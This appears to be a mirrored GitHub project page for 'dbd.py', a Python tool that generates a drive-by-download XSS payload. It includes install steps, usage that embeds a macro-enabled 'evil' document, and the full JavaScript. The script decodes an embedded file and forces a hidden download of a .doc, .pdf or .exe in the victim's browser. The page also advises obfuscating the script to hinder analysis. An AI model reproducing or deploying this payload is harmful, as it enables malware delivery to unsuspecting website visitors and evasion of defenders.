项目作者: demetriusx00

项目描述 :
Generate a post exploit script to download an arbitrary file using HTML5's Blob object (https://developer.mozilla.org/en-US/docs/Web/API/Blob)
高级语言: Python
项目地址: git://github.com/demetriusx00/dbd.git
创建时间: 2020-09-17T16:51:14Z
项目社区:https://github.com/demetriusx00/dbd

开源协议:GNU General Public License v2.0

下载


dbd.py (drive-by-download)

Generate a post exploit script to download an arbitrary file using HTML5’s Blob object (https://developer.mozilla.org/en-US/docs/Web/API/Blob). Say goodbye to alert(1).

install

  1. $ git clone https://github.com/demetriusford/drive-by-download
  2. $ cd drive-by-download && pip3 install -r requirements/all.txt

usage

  1. Usage: dbd.py [OPTIONS]
  2. Generate a drive-by-download XSS payload.
  3. Options:
  4. --version
  5. --extension [.doc|.pdf|.exe]
  6. --evil-file FILE
  7. --help Show this message and exit.

Create a macro-enabled document, then run:

  1. $ python3 dbd.py --extension=".doc" \
  2. --evil-file="/path/to/evil.doc"

You’ll see the generated JavaScript printed to stdout with the embedded file contents. Now, you can spend time obfuscating identifier names, string extractions, and code operations to complicate analysis:

  1. const MIMES = {
  2. '.doc': 'application/msword'
  3. , '.pdf': 'application/pdf'
  4. , '.exe': 'application/octet-stream'
  5. , };
  6. class MimeFactory {
  7. constructor(type) {
  8. if (!(type in MIMES)) return;
  9. this.type = MIMES[type];
  10. }
  11. }
  12. ((file, payload) => {
  13. const empty = ({
  14. length
  15. }) => length === 0;
  16. if (empty(file) || empty(payload)) return;
  17. const decoded = window.atob(payload);
  18. const mime = new MimeFactory(file);
  19. const size = payload.length;
  20. const link = document.createElement('a');
  21. const bin = new Uint8Array(size);
  22. for (let i = 0; i < size; i++) {
  23. bin[i] = decoded.charCodeAt(i);
  24. }
  25. const blob = new Blob([bin.buffer]
  26. , {
  27. type: mime.type
  28. });
  29. const url = window.URL.createObjectURL(blob);
  30. link.style = 'display:none;';
  31. link.href = url;
  32. link.download = file;
  33. document.body.appendChild(link);
  34. link.click();
  35. window.URL.revokeObjectURL(url);
  36. document.body.removeChild(link);
  37. })('657hi94.doc', '...');